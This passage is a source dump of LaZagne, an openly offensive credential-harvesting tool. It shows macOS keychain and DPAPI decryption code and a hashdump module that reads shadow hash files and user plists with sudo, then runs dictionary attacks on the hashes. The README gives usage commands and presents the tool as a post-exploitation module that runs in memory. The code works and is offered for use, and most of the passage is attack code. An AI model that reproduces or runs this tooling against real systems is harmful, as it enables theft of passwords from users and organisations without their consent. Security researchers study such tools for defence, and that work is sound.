{}\n                for cpt in range(1, len(record)):\n                    if record[cpt]:\n                        values[legend[cpt]] = unicode(record[cpt])\n\n                try:\n                    values['Password'] = unicode(passwd)\n                except:\n                    values['Password'] = unicode(repr(passwd))\n\n                pwdFound.append(values)\n\n    except KeyError:\n        print_debug('INFO', 'Generic Password Table is not available')\n        pass\n\n    legend = ['', 'Create DateTime', 'Last Modified DateTime', 'Description', 'Comment', 'Creator', 'Type', 'PrintName',\n              'Alias', 'Protected', 'Account', 'SecurityDomain', 'Server', 'Protocol Type', 'Auth Type', 'Port', 'Path']\n    try:\n        TableMetadata, internetpw_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]])\n\n        for internetpw in internetpw_list:\n            record = keychain.getInternetPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]], internetpw)\n            try:\n                real_key = key_list[record[0][0:20]]\n                passwd = keychain.SSGPDecryption(record[0], real_key)\n            except KeyError:\n                passwd = ''\n\n            if passwd:\n                values = {}\n                for cpt in range(1, len(record)):\n                    if record[cpt]:\n                        values[legend[cpt]] = record[cpt]\n\n                try:\n                    values['Password'] = unicode(passwd)\n                except Exception:\n                    values['Password'] = unicode(repr(passwd))\n\n                pwdFound.append(values)\n\n    except KeyError:\n        print_debug('INFO', 'Internet Password Table is not available')\n        pass\n\n    return pwdFound\n"
  },
  {
    "path": "Mac/lazagne/softwares/system/chainbreaker_module/pbkdf2.py",
    "content": "#!/usr/bin/python\n\n# A simple implementation of pbkdf2 using stock python modules. See RFC2898\n# for details. Basically, it derives a key from a password and salt.\n\n# (c) 2004 Matt Johnston <matt @ ucc asn au>\n# This code may be freely used and modified for any purpose.\n\nimport hmac\n\nfrom hashlib import sha1\nfrom struct import pack\n\nBLOCKLEN = 20\n\n\n# this is what you want to call.\ndef pbkdf2(password, salt, itercount, keylen, hashfn=sha1):\n    # l - number of output blocks to produce\n    l = keylen / BLOCKLEN\n    if keylen % BLOCKLEN != 0:\n        l += 1\n\n    h = hmac.new(password, None, hashfn)\n\n    T = \"\"\n    for i in range(1, l + 1):\n        T += pbkdf2_F(h, salt, itercount, i)\n\n    return T[: -(BLOCKLEN - keylen % BLOCKLEN)]\n\n\ndef xorstr(a, b):\n    if len(a) != len(b):\n        raise \"xorstr(): lengths differ\"\n\n    ret = ''\n    for i in range(len(a)):\n        ret += chr(ord(a[i]) ^ ord(b[i]))\n\n    return ret\n\n\ndef prf(h, data):\n    hm = h.copy()\n    hm.update(data)\n    return hm.digest()\n\n\n# Helper as per the spec. h is a hmac which has been created seeded with the\n# password, it will be copy()ed and not modified.\ndef pbkdf2_F(h, salt, itercount, blocknum):\n    U = prf(h, salt + pack('>i', blocknum))\n    T = U\n\n    for i in range(2, itercount + 1):\n        U = prf(h, U)\n        T = xorstr(T, U)\n\n    return T\n"
  },
  {
    "path": "Mac/lazagne/softwares/system/hashdump.py",
    "content": "# -*- coding: utf-8 -*- \n# !/usr/bin/python\n\n# Inspired from :\n# https://apple.stackexchange.com/questions/220729/what-type-of-hash-are-a-macs-password-stored-in\n# https://www.onlinehashcrack.com/how-to-extract-hashes-crack-mac-osx-passwords.php\n\n# TO DO: retrieve hash on mac os Lion without need root access:\n# https://hackademics.fr/forum/hacking-connaissances-avancées/unhash/1098-mac-os-x-python-os-x-lion-password-cracker\n\nimport subprocess\nimport traceback\nimport binascii\nimport platform\nimport hashlib\nimport base64\nimport os\n\nfrom xml.etree import ElementTree\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.dico import get_dic\nfrom lazagne.config.constant import constant\n\n\nclass HashDump(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'hashdump', 'system')\n\n        self.username = None\n        self.iterations = None\n        self.salt_hex = None\n        self.entropy_hex = None\n\n    def root_access(self):\n        if os.getuid() != 0:\n            self.warning('You need more privileges (run it with sudo)')\n            return False\n        return True\n\n    def check_version(self):\n        major, minor = 0, 0\n        try:\n            v, _, _ = platform.mac_ver()\n            v = '.'.join(v.split('.')[:2])\n            major = v.split('.')[0]\n            minor = v.split('.')[1]\n        except Exception:\n            self.debug(traceback.format_exc())\n\n        return int(major), int(minor)\n\n    def run_cmd(self, cmd):\n        p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n        result, _ = p.communicate()\n        if result:\n            return result\n        else:\n            return ''\n\n    def list_users(self):\n        users_dir = '/Users'\n        users_list = []\n        if os.path.exists(users_dir):\n            for user in os.listdir(users_dir):\n                if user != 'Shared' and not user.startswith('.'):\n                    users_list.append(user)\n\n        return users_list\n\n    # works for all version (< 10.8)\n    def get_hash_using_guid(self, guid):\n        cmd = 'cat /var/db/shadow/hash/%s' % guid\n        hash = self.run_cmd(cmd)\n        if hash:\n            self.info('Full hash found : %s ' % hash)\n            # Salted sha1: hash[104:152]\n            # Zero salted sha1: hash[168:216]\n            # NTLM: hash[64:]\n            return hash[168:216]\n        else:\n            return False\n\n    # this technique works only for OS X 10.3 and 10.4\n    def get_user_hash_using_niutil(self, username):\n        # get guid\n        cmd = 'niutil -readprop . /users/{username} generateduid'.format(username=username)\n        guid = self.run_cmd(cmd)\n        if guid:\n            guid = guid.strip()\n            self.info('GUID found : {guid}'.format(guid=guid))\n\n            # get hash\n            hash_ = self.get_hash_using_guid(guid)\n            if hash_:\n                return username, hash_\n\n        return False\n\n    # this technique works only for OS X 10.5 and 10.6\n    def get_user_hash_using_dscl(self, username):\n        # get guid\n        cmd = 'dscl localhost -read /Search/Users/{username} | grep GeneratedUID | cut -c15-'.format(username=username)\n        guid = self.run_cmd(cmd)\n        if guid:\n            guid = guid.strip()\n            self.info('GUID found : {guid}'.format(guid=guid))\n\n            # get hash\n            hash_ = self.get_hash_using_guid(guid)\n            if hash_:\n                return username, hash_\n\n        return False\n\n    # this technic works only for OS X >= 10.8\n    def get_user_hash_from_plist(self, username):\n        try:\n            cmd = 'sudo defaults read /var/db/dslocal/nodes/Default/users/{username}.plist ' \\\n                  'ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null'.format(\n                    username=username\n            )\n            raw = self.run_cmd(cmd)\n\n            if len(raw) > 100:\n                root = ElementTree.fromstring(raw)\n                children = root[0][1].getchildren()\n                entropy64 = ''.join(children[1].text.split())\n                iterations = children[3].text\n                salt64 = ''.join(children[5].text.split())\n                entropy_raw = base64.b64decode(entropy64)\n                entropy_hex = entropy_raw.encode(\"hex\")\n                salt_raw = base64.b64decode(salt64)\n                salt_hex = salt_raw.encode(\"hex\")\n\n                self.username = username\n                self.iterations = int(iterations)\n                self.salt_hex = salt_hex\n                self.entropy_hex = entropy_hex\n\n                return '{username}:$ml${iterations}${salt}${entropy}'.format(\n                    username=username,\n                    iterations=iterations,\n                    salt=salt_hex,\n                    entropy=entropy_hex\n                )\n        except Exception:\n            self.debug(traceback.format_exc())\n\n    # ------------------------------- Dictionary attack -------------------------------\n\n    def dictionary_attack(self, username, dic, pbkdf2=True):\n        found = False\n        try:\n            if pbkdf2:\n                self.info('Dictionary attack started !')\n                for word in dic:\n                    self.info('Trying word: %s' % word)\n                    if str(self.entropy_hex) == str(\n                            self.dictionary_attack_pbkdf2(str(word), binascii.unhexlify(self.salt_hex),\n                                                          self.iterations)):\n                        constant.system_pwd.append(\n                            {\n                                'Account': username,\n                                'Password': word\n                            }\n                        )\n                        self.info('Password found: {word}'.format(word=word))\n                        found = True\n                        break\n        except (KeyboardInterrupt, SystemExit):\n            self.debug('Dictionary attack interrupted')\n\n        return found\n\n    # On OS X >= 10.8\n    # System passwords are stored using pbkdf2 algorithm\n    def dictionary_attack_pbkdf2(self, password, salt, iterations):\n        hex = hashlib.pbkdf2_hmac('sha512', password, salt, iterations, 128)\n        password_hash = binascii.hexlify(hex)\n        return password_hash\n\n    # ------------------------------- End of Dictionary attack -------------------------------\n\n    def run(self):\n        user_hashes = []\n\n        if self.root_access():\n            major, minor = self.check_version()\n            if major == 10 and (minor == 3 or minor == 4):\n                for user in self.list_users():\n                    self.info('User found: {user}'.format(user=user))\n                    user_hash = self.get_user_hash_using_niutil(user)\n                    if user_hash:\n                        user_hashes.append(user_hash)\n\n            if major == 10 and (minor == 5 or minor == 6):\n                for user in self.list_users():\n                    self.info('User found: {user}'.format(user=user))\n                    user_hash = self.get_user_hash_using_dscl(user)\n                    if user_hash:\n                        user_hashes.append(user_hash)\n\n            # TO DO: manage version 10.7\n\n            elif major == 10 and minor >= 8:\n                user_names = [plist.split(\".\")[0] for plist in os.listdir(u'/var/db/dslocal/nodes/Default/users/') if not plist.startswith(u'_')]\n                for username in user_names:\n                    user_hash = self.get_user_hash_from_plist(username)\n                    if user_hash:\n                        user_hashes.append(user_hash)\n\n                        # try to get the password in clear text\n\n                        passwords = constant.passwordFound  # check if previous passwords are used as system password\n                        passwords.insert(0, username)  # check for weak password (login equal password)\n                        if constant.user_password:\n                            passwords.insert(0, constant.user_password)\n\n                        found = self.dictionary_attack(username, passwords)\n\n                        # realize a dictionary attack using the 500 most famous passwords\n                        if constant.dictionary_attack and not found:\n                            dic = get_dic()\n                            dic.insert(0, self.username)\n                            self.dictionary_attack(username, dic)\n\n        return ['__SYSTEM__', user_hashes]\n"
  },
  {
    "path": "Mac/lazagne/softwares/system/system.py",
    "content": "# -*- coding: utf-8 -*- \n# !/usr/bin/python\n\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\n\nclass System(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'system', 'system')\n\n    def run(self):\n        pwd_found = []\n        pwd_found += constant.keychains_pwd\n        pwd_found += constant.system_pwd\n\n        return pwd_found\n"
  },
  {
    "path": "Mac/lazagne.spec",
    "content": "# -*- mode: python ; coding: utf-8 -*-\nimport sys\nsys.path.append(\".\")\nfrom lazagne.config.manage_modules import get_modules_names\nfrom lazagne.softwares.browsers.firefox_browsers import mozilla_based_module_location\n\nall_hidden_imports_module_names = get_modules_names()\nall_hidden_imports_module_names.append(mozilla_based_module_location)\n\nhiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names]\n\nblock_cipher = None\n\n\na = Analysis(['laZagne.py'],\n             pathex=[''],\n             binaries=[],\n             datas=[],\n             hiddenimports=hiddenimports,\n             hookspath=['.'],\n             runtime_hooks=[],\n             excludes=[],\n             win_no_prefer_redirects=False,\n             win_private_assemblies=False,\n             cipher=block_cipher,\n             noarchive=False)\npyz = PYZ(a.pure, a.zipped_data,\n             cipher=block_cipher)\nexe = EXE(pyz,\n          a.scripts,\n          a.binaries,\n          a.zipfiles,\n          a.datas,\n          [],\n          name='laZagne',\n          debug=False,\n          bootloader_ignore_signals=False,\n          strip=False,\n          upx=True,\n          upx_exclude=[],\n          runtime_tmpdir=None,\n          console=True )\n\t\n"
  },
  {
    "path": "README.md",
    "content": "\n__The LaZagne Project !!!__\n==\n\nDescription\n----\nThe __LaZagne project__ is an open source application used to __retrieve lots of passwords__ stored on a local computer. \nEach software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. \n\n<p align=\"center\"><img src=\"https://user-images.githubusercontent.com/10668373/43320585-3e34c124-91a9-11e8-9ebc-d8eabafd8ac5.png\" alt=\"The LaZagne project\"></p>\n\nThis project has been added to [pupy](https://github.com/n1nj4sec/pupy/) as a post-exploitation module. Python code will be interpreted in memory without touching the disk and it works on Windows and Linux host.\n\nStandalones\n----\nStandalones are now available here: https://github.com/AlessandroZ/LaZagne/releases/\n\nInstallation\n----\n```\npip install -r requirements.txt\n```\n\nUsage\n----\n* Launch all modules\n```\nlaZagne.exe all\n```\n\n* Launch only a specific module\n```\nlaZagne.exe browsers\n```\n\n* Launch only a specific software script\n```\nlaZagne.exe browsers -firefox\n```\n\n* Write all passwords found into a file (-oN for Normal txt, -oJ for Json, -oA for All).\nNote: If you have problems to parse JSON results written as a multi-line strings, check [this](https://github.com/AlessandroZ/LaZagne/issues/226). \n```\nlaZagne.exe all -oN\nlaZagne.exe all -oA -output C:\\Users\\test\\Desktop\n```\n\n* Get help\n```\nlaZagne.exe -h\nlaZagne.exe browsers -h\n```\n\n\n* Change verbosity mode (2 different levels)\n```\nlaZagne.exe all -vv\n```\n\n* Quiet mode (nothing will be printed on the standard output)\n```\nlaZagne.exe all -quiet -oA\n```\n\n* To decrypt domain credentials, it could be done specifying the user windows password. Otherwise it will try all passwords already found as windows passwords. \n```\nlaZagne.exe all -password ZapataVive\n```\n\n__Note: For wifi passwords \\ Windows Secrets, launch it with administrator privileges (UAC Authentication / sudo)__\n\nMac OS\n----\n__Note: In Mac OS System, without the user password it is very difficult to retrieve passwords stored on the computer.__ \nSo, I recommend using one of these options\n\n* If you know the user password, add it in the command line \n```\nlaZagne all --password SuperSecurePassword\n```\n* You could use the interactive mode that will prompt a dialog box to the user until the password will be correct \n```\nlaZagne all -i\n```\n\nSupported software\n----\n\n|  | Windows    | Linux  | Mac |\n| -- | -- | -- | -- |\n| Browsers | 7Star<br> Amigo<br> Basilisk <br> BlackHawk<br> Brave<br> Centbrowser<br> Chedot<br> Chrome Beta<br> Chrome Canary<br> Chromium<br> Coccoc<br> Comodo Dragon<br> Comodo IceDragon<br> Cyberfox<br> DCBrowser <br> Elements Browser<br> Epic Privacy Browser<br> Firefox<br> Google Chrome<br> Icecat<br> K-Meleon<br> Kometa<br> Microsoft Edge<br> Opera<br> Opera GX<br> Orbitum <br> QQBrowser <br> pale Moon <br> SogouExplorer <br> Sputnik<br> Torch<br> Uran<br> Vivaldi<br> Yandex<br> | Brave<br> Chromium<br> Dissenter-Browser<br> Firefox<br> Google Chrome<br> IceCat<br> Microsoft Edge<br> Opera<br> SlimJet<br> Vivaldi | Chrome<br> Firefox |\n| Chats | Pidgin<br> Psi<br> Skype| Pidgin<br> Psi |  |\n| Databases | DBVisualizer<br> Postgresql<br> Robomongo<br> Squirrel<br> SQLdevelopper | DBVisualizer<br> Squirrel<br> SQLdevelopper  |  |\n| Games | GalconFusion<br> Kalypsomedia<br> RogueTale<br> Turba |  |  |\n| Git | Git for Windows |  |  |\n| Mails | Epyrus <br> Interlink <br> Outlook<br> Thunderbird  | Clawsmail<br> Thunderbird |  |\n| Maven | Maven Apache<br> |  |  |\n| Dumps from memory | Keepass<br> Mimikatz method | System Password |  |\n| Multimedia | EyeCON<br> |  |  |\n| PHP | Composer<br> |  |  |\n| SVN | Tortoise  | | |\n| Sysadmin | Apache Directory Studio<br> CoreFTP<br> CyberDuck<br> FileZilla<br> FileZilla Server<br> FTPNavigator<br> OpenSSH<br> OpenVPN<br> mRemoteNG <br> KeePass Configuration Files (KeePass1, KeePass2)<br> PuttyCM<br>Rclone<br>RDPManager<br> VNC<br> WinSCP<br> Windows Subsystem for Linux | Apache Directory Studio<br> AWS<br>  Docker<br> Environnement variable<br> FileZilla<br> gFTP<br> History files<br> Shares <br> SSH private keys <br> KeePass Configuration Files (KeePassX, KeePass2) <br> Grub <br> Rclone |  |\n| Wifi | Wireless Network | Network Manager<br> WPA Supplicant |  |\n| Internal mechanism passwords storage | Autologon<br> MSCache<br> Credential Files<br> Credman <br> DPAPI Hash <br> Hashdump (LM/NT)<br> LSA secret<br> Vault Files | GNOME Keyring<br> Kwallet<br> Hashdump | Keychains<br> Hashdump |\n\n\nCompile\n----\n\n* Using Pyinstaller\n```\npyinstaller --additional-hooks-dir=. -F --onefile laZagne.py\n```\n* Using Nuitka\n```\npython3 -m nuitka --standalone --onefile --include-package=lazagne laZagne.py\n```\n\nFor developers\n----\nPlease refer to the wiki before opening an issue to understand how to compile the project or to develop a new module.\nhttps://github.com/AlessandroZ/LaZagne/wiki\n\nDonation\n----\nIf you want to support my work doing a donation, I will appreciate a lot:\n* Via BTC: 16zJ9wTXU4f1qfMLiWvdY3woUHtEBxyriu\n* Via Paypal: https://www.paypal.me/lazagneproject\n\nSpecial thanks\n----\n* Harmjoy for [KeeThief](https://github.com/HarmJ0y/KeeThief/)\n* n1nj4sec for his [mimipy](https://github.com/n1nj4sec/mimipy) module\n* Benjamin DELPY for [mimikatz](https://github.com/gentilkiwi/mimikatz), which helps me to understand some Windows API.\n* @skelsec for [Pypykatz](https://github.com/skelsec/pypykatz)\n* Moyix for [Creddump](https://github.com/moyix/creddump)\n* N0fat for [Chainbreaker](https://github.com/n0fate/chainbreaker/)\n* Richard Moore for the [AES module](https://github.com/ricmoo/pyaes)\n* Todd Whiteman for the [DES module](https://github.com/toddw-as/pyDes)\n* mitya57 for [secretstorage](https://github.com/mitya57/secretstorage)\n* All [contributors](https://github.com/AlessandroZ/LaZagne/graphs/contributors) who help me on this project\n\n"
  },
  {
    "path": "Windows/hook-sys.py",
    "content": "from lazagne.config.manage_modules import get_modules_names\nfrom lazagne.softwares.browsers.chromium_browsers import chromium_based_module_location\nfrom lazagne.softwares.browsers.firefox_browsers import mozilla_module_location\n\nall_hidden_imports_module_names = get_modules_names() + [mozilla_module_location, chromium_based_module_location]\nhiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names]\n\nif __name__ == \"__main__\":\n    print(\"\\r\\n\".join(hiddenimports))"
  },
  {
    "path": "Windows/laZagne.py",
    "content": "# -*- coding: utf-8 -*- \r\n# !/usr/bin/python\r\n\r\n##############################################################################\r\n#                                                                            #\r\n#                           By Alessandro ZANNI                              #\r\n#                                                                            #\r\n##############################################################################\r\n\r\n# Disclaimer: Do Not Use this program for illegal purposes ;)\r\n\r\nimport argparse\r\nimport logging\r\nimport sys\r\nimport time\r\nimport os\r\n\r\nfrom lazagne.config.write_output import write_in_file, StandardOutput\r\nfrom lazagne.config.manage_modules import get_categories\r\nfrom lazagne.config.constant import constant\r\nfrom lazagne.config.run import run_lazagne, create_module_dic\r\n\r\nconstant.st = StandardOutput()  # Object used to manage the output / write functions (cf write_output file)\r\nmodules = create_module_dic()\r\n\r\n\r\ndef output(output_dir=None, txt_format=False, json_format=False, all_format=False):\r\n    if output_dir:\r\n        if os.path.isdir(output_dir):\r\n            constant.folder_name = output_dir\r\n        else:\r\n            print('[!] Specify a directory, not a file !')\r\n\r\n    if txt_format:\r\n        constant.output = 'txt'\r\n\r\n    if json_format:\r\n        constant.output = 'json'\r\n\r\n    if all_format:\r\n        constant.output = 'all'\r\n\r\n    if constant.output:\r\n        if not os.path.exists(constant.folder_name):\r\n            os.makedirs(constant.folder_name)\r\n            # constant.file_name_results = 'credentials' # let the choice of the name to the user\r\n\r\n        if constant.output != 'json':\r\n            constant.st.write_header()\r\n\r\n\r\ndef quiet_mode(is_quiet_mode=False):\r\n    if is_quiet_mode:\r\n        constant.quiet_mode = True\r\n\r\n\r\ndef verbosity(verbose=0):\r\n    # Write on the console + debug file\r\n    if verbose == 0:\r\n        level = logging.CRITICAL\r\n    elif verbose == 1:\r\n        level = logging.INFO\r\n    elif verbose >= 2:\r\n        level = logging.DEBUG\r\n\r\n    formatter = logging.Formatter(fmt='%(message)s')\r\n    stream = logging.StreamHandler(sys.stdout)\r\n    stream.setFormatter(formatter)\r\n    root = logging.getLogger()\r\n    root.setLevel(level)\r\n    # If other logging are set\r\n    for r in root.handlers:\r\n        r.setLevel(logging.CRITICAL)\r\n    root.addHandler(stream)\r\n\r\n\r\ndef manage_advanced_options(user_password=None):\r\n    if user_password:\r\n        constant.user_password = user_password\r\n\r\n\r\ndef runLaZagne(category_selected='all', subcategories={}, password=None):\r\n    \"\"\"\r\n    This function will be removed, still there for compatibility with other tools\r\n    Everything is on the config/run.py file\r\n    \"\"\"\r\n    for pwd_dic in run_lazagne(category_selected=category_selected, subcategories=subcategories, password=password):\r\n        yield pwd_dic\r\n\r\n\r\ndef clean_args(arg):\r\n    \"\"\"\r\n    Remove not necessary values to get only subcategories\r\n    \"\"\"\r\n    for i in ['output', 'write_normal', 'write_json', 'write_all', 'verbose', 'auditType', 'quiet']:\r\n        try:\r\n            del arg[i]\r\n        except Exception:\r\n            pass\r\n    return arg\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    parser = argparse.ArgumentParser(description=constant.st.banner, formatter_class=argparse.RawTextHelpFormatter)\r\n    parser.add_argument('-version', action='version', version='Version ' + str(constant.CURRENT_VERSION),\r\n                        help='laZagne version')\r\n\r\n    # ------------------------------------------- Permanent options -------------------------------------------\r\n    # Version and verbosity\r\n    PPoptional = argparse.ArgumentParser(\r\n        add_help=False,\r\n        formatter_class=lambda prog: argparse.HelpFormatter(prog,\r\n                                                            max_help_position=constant.max_help)\r\n    )\r\n    PPoptional._optionals.title = 'optional arguments'\r\n    PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level')\r\n    PPoptional.add_argument('-quiet', dest='quiet', action='store_true', default=False,\r\n                            help='quiet mode: nothing is printed to the output')\r\n\r\n    # Output\r\n    PWrite = argparse.ArgumentParser(\r\n        add_help=False,\r\n        formatter_class=lambda prog: argparse.HelpFormatter(prog,\r\n                                                            max_help_position=constant.max_help)\r\n    )\r\n    PWrite._optionals.title = 'Output'\r\n    PWrite.add_argument('-oN', dest='write_normal', action='store_true', default=None,\r\n                        help='output file in a readable format')\r\n    PWrite.add_argument('-oJ', dest='write_json', action='store_true', default=None,\r\n                        help='output file in a json format')\r\n    PWrite.add_argument('-oA', dest='write_all', action='store_true', default=None, help='output file in both format')\r\n    PWrite.add_argument('-output', dest='output', action='store', default='.',\r\n                        help='destination path to store results (default:.)')\r\n\r\n    # Windows user password\r\n    PPwd = argparse.ArgumentParser(\r\n        add_help=False,\r\n        formatter_class=lambda prog: argparse.HelpFormatter(\r\n            prog,\r\n            max_help_position=constant.max_help)\r\n    )\r\n    PPwd._optionals.title = 'Windows User Password'\r\n    PPwd.add_argument('-password', dest='password', action='store',\r\n                      help='Windows user password (used to decrypt creds files)')\r\n\r\n    # -------------------------- Add options and suboptions to all modules --------------------------\r\n    all_subparser = []\r\n    all_categories = get_categories()\r\n    for c in all_categories:\r\n        all_categories[c]['parser'] = argparse.ArgumentParser(\r\n            add_help=False,\r\n            formatter_class=lambda prog: argparse.HelpFormatter(prog,\r\n                                                                max_help_position=constant.max_help)\r\n        )\r\n        all_categories[c]['parser']._optionals.title = all_categories[c]['help']\r\n\r\n        # Manage options\r\n        all_categories[c]['subparser'] = []\r\n        for module in modules[c]:\r\n            m = modules[c][module]\r\n            all_categories[c]['parser'].add_argument(m.options['command'], action=m.options['action'],\r\n                                                 dest=m.options['dest'], help=m.options['help'])\r\n\r\n            # Manage all suboptions by modules\r\n            if m.suboptions and m.name != 'thunderbird':\r\n                tmp = []\r\n                for sub in m.suboptions:\r\n                    tmp_subparser = argparse.ArgumentParser(\r\n                        add_help=False,\r\n                        formatter_class=lambda prog: argparse.HelpFormatter(\r\n                            prog,\r\n                            max_help_position=constant.max_help)\r\n                    )\r\n                    tmp_subparser._optionals.title = sub['title']\r\n                    if 'type' in sub:\r\n                        tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'],\r\n                                                   dest=sub['dest'], help=sub['help'])\r\n                    else:\r\n                        tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'],\r\n                                                   help=sub['help'])\r\n                    tmp.append(tmp_subparser)\r\n                    all_subparser.append(tmp_subparser)\r\n                    all_categories[c]['subparser'] += tmp\r\n\r\n    # ------------------------------------------- Print all -------------------------------------------\r\n\r\n    parents = [PPoptional] + all_subparser + [PPwd, PWrite]\r\n    dic = {'all': {'parents': parents, 'help': 'Run all modules'}}\r\n    for c in all_categories:\r\n        parser_tab = [PPoptional, all_categories[c]['parser']]\r\n        if 'subparser' in all_categories[c]:\r\n            if all_categories[c]['subparser']:\r\n                parser_tab += all_categories[c]['subparser']\r\n        parser_tab += [PPwd, PWrite]\r\n        dic_tmp = {c: {'parents': parser_tab, 'help': 'Run %s module' % c}}\r\n        # Concatenate 2 dic\r\n        dic = dict(dic, **dic_tmp)\r\n\r\n    # Main commands\r\n    subparsers = parser.add_subparsers(help='Choose a main command')\r\n    for d in dic:\r\n        subparsers.add_parser(d, parents=dic[d]['parents'], help=dic[d]['help']).set_defaults(auditType=d)\r\n\r\n    # ------------------------------------------- Parse arguments -------------------------------------------\r\n\r\n    # By default, launch all modules\r\n    if len(sys.argv) == 1:\r\n        args = {\r\n            'verbose': 0, \r\n            'quiet': False, \r\n            'password': None, \r\n            'write_normal': None, \r\n            'write_json': None, \r\n            'write_all': None, \r\n            'output': '.', \r\n            'auditType': 'all'\r\n        }\r\n    else:\r\n        args = dict(parser.parse_args()._get_kwargs())\r\n        # arguments = parser.parse_args()\r\n\r\n    # Define constant variables\r\n    output(\r\n        output_dir=args['output'],\r\n        txt_format=args['write_normal'],\r\n        json_format=args['write_json'],\r\n        all_format=args['write_all']\r\n    )\r\n    verbosity(verbose=args['verbose'])\r\n    manage_advanced_options(user_password=args.get('password', None))\r\n    quiet_mode(is_quiet_mode=args['quiet'])\r\n\r\n    # Print the title\r\n    constant.st.first_title()\r\n\r\n    start_time = time.time()\r\n\r\n    category = args['auditType']\r\n    subcategories = clean_args(args)\r\n\r\n    for r in runLaZagne(category_selected=category, subcategories=subcategories, password=args.get('password', None)):\r\n        pass\r\n\r\n    write_in_file(constant.stdout_result)\r\n    constant.st.print_footer(elapsed_time=str(time.time() - start_time))\r\n"
  },
  {
    "path": "Windows/lazagne/__init__.py",
    "content": ""
  },
  {
    "path": "Windows/lazagne/config/DPAPI/__init__.py",
    "content": " \n"
  },
  {
    "path": "Windows/lazagne/config/DPAPI/blob.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCode based from these two awesome projects:\n- DPAPICK \t: https://bitbucket.org/jmichel/dpapick\n- DPAPILAB \t: https://github.com/dfirfpi/dpapilab\n\"\"\"\nimport codecs\nimport traceback\n\nfrom .eater import DataStruct\nfrom . import crypto\n\nfrom lazagne.config.write_output import print_debug\nfrom lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC\nfrom lazagne.config.crypto.pyDes import CBC\nfrom lazagne.config.winstructure import char_to_int\n\nAES_BLOCK_SIZE = 16\n\n\nclass DPAPIBlob(DataStruct):\n    \"\"\"Represents a DPAPI blob\"\"\"\n\n    def __init__(self, raw=None):\n        \"\"\"\n        Constructs a DPAPIBlob. If raw is set, automatically calls parse().\n        \"\"\"\n        self.version = None\n        self.provider = None\n        self.mkguid = None\n        self.mkversion = None\n        self.flags = None\n        self.description = None\n        self.cipherAlgo = None\n        self.keyLen = 0\n        self.hmac = None\n        self.strong = None\n        self.hashAlgo = None\n        self.hashLen = 0\n        self.cipherText = None\n        self.salt = None\n        self.blob = None\n        self.sign = None\n        self.cleartext = None\n        self.decrypted = False\n        self.signComputed = None\n        DataStruct.__init__(self, raw)\n\n    def parse(self, data):\n        \"\"\"Parses the given data. May raise exceptions if incorrect data are\n            given. You should not call this function yourself; DataStruct does\n\n            data is a DataStruct object.\n            Returns nothing.\n\n        \"\"\"\n        self.version = data.eat(\"L\")\n        self.provider = b\"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x\" % data.eat(\"L2H8B\")\n\n        # For HMAC computation\n        blobStart = data.ofs\n\n        self.mkversion = data.eat(\"L\")\n        self.mkguid = b\"%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x\" % data.eat(\"L2H8B\")\n        self.flags = data.eat(\"L\")\n        self.description = data.eat_length_and_string(\"L\").replace(b\"\\x00\", b\"\")\n        self.cipherAlgo = crypto.CryptoAlgo(data.eat(\"L\"))\n        self.keyLen = data.eat(\"L\")\n        self.salt = data.eat_length_and_string(\"L\")\n        self.strong = data.eat_length_and_string(\"L\")\n        self.hashAlgo = crypto.CryptoAlgo(data.eat(\"L\"))\n        self.hashLen = data.eat(\"L\")\n        self.hmac = data.eat_length_and_string(\"L\")\n        self.cipherText = data.eat_length_and_string(\"L\")\n\n        # For HMAC computation\n        self.blob = data.raw[blobStart:data.ofs]\n        self.sign = data.eat_length_and_string(\"L\")\n\n    def decrypt(self, masterkey, entropy=None, strongPassword=None):\n        \"\"\"Try to decrypt the blob. Returns True/False\n        :rtype : bool\n        :param masterkey: decrypted masterkey value\n        :param entropy: optional entropy for decrypting the blob\n        :param strongPassword: optional password for decrypting the blob\n        \"\"\"\n        for algo in [crypto.CryptSessionKeyXP, crypto.CryptSessionKeyWin7]:\n            try:\n                sessionkey = algo(masterkey, self.salt, self.hashAlgo, entropy=entropy, strongPassword=strongPassword)\n                key = crypto.CryptDeriveKey(sessionkey, self.cipherAlgo, self.hashAlgo)\n\n                if \"AES\" in self.cipherAlgo.name:\n                    cipher = AESModeOfOperationCBC(key[:int(self.cipherAlgo.keyLength)],\n                                                   iv=b\"\\x00\" * int(self.cipherAlgo.ivLength))\n                    self.cleartext = b\"\".join([cipher.decrypt(self.cipherText[i:i + AES_BLOCK_SIZE]) for i in\n                                               range(0, len(self.cipherText), AES_BLOCK_SIZE)])\n                else:\n                    cipher = self.cipherAlgo.module(key, CBC, b\"\\x00\" * self.cipherAlgo.ivLength)\n                    self.cleartext = cipher.decrypt(self.cipherText)\n\n                padding = char_to_int(self.cleartext[-1])\n                if padding <= self.cipherAlgo.blockSize:\n                    self.cleartext = self.cleartext[:-padding]\n\n                # check against provided HMAC\n                self.signComputed = algo(masterkey, self.hmac, self.hashAlgo, entropy=entropy, verifBlob=self.blob)\n                self.decrypted = self.signComputed == self.sign\n\n                if self.decrypted:\n                    return True\n            except Exception:\n                print_debug('DEBUG', traceback.format_exc())\n\n        self.decrypted = False\n        return self.decrypted\n\n    def decrypt_encrypted_blob(self, mkp, entropy_hex=False):\n        \"\"\"\n        This function should be called to decrypt a dpapi blob.\n        It will find the associcated 